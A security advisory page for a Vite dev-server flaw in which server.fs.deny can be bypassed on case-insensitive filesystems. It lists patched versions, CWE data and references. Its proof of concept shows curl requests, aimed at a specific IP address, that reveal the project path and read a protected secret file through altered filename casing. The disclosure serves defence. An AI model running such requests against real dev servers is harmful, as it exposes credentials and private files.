GHSA-c24v-8rfc-w8vw
Suggest an improvement- Source
- https://github.com/advisories/GHSA-c24v-8rfc-w8vw
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-c24v-8rfc-w8vw/GHSA-c24v-8rfc-w8vw.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-c24v-8rfc-w8vw
- Aliases
- Downstream
- Published
- 2024-01-19T21:58:47Z
- Modified
- 2026-09-10T03:49:24Z
- Severity
-
- 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
- Summary
- Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
- Details
-
Summary
Vite dev server option
server.fs.denycan be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since
picomatchdefaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.See
picomatchusage, wherenocaseis defaulted tofalse: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632By requesting raw filesystem paths using augmented casing, the matcher derived from
config.server.fs.denyfails to block access to sensitive files.PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
curl -s http://20.12.242.81:5173/@fs//- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
- Created vanilla Vite project using
- Database specific
{ "cwe_ids": [ "CWE-178", "CWE-200", "CWE-284" ], "github_reviewed": true, "github_reviewed_at": "2024-01-19T21:58:47Z", "nvd_published_at": "2024-01-19T20:15:14Z", "severity": "HIGH" }- References
-
- https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw
- https://nvd.nist.gov/vuln/detail/CVE-2023-34092
- https://nvd.nist.gov/vuln/detail/CVE-2024-23331
- https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691
- https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5
- https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278
- https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb
- https://github.com/vitejs/vite
- https://vitejs.dev/config/server-options.html#server-fs-deny
Affected packages
npm / vite
Package
- Name
- vite
- View open source insights on deps.dev
- Purl
- pkg:npm/vite
npm / vite
Package
- Name
- vite
- View open source insights on deps.dev
- Purl
- pkg:npm/vite
npm / vite
Package
- Name
- vite
- View open source insights on deps.dev
- Purl
- pkg:npm/vite
npm / vite
Package
- Name
- vite
- View open source insights on deps.dev
- Purl
- pkg:npm/vite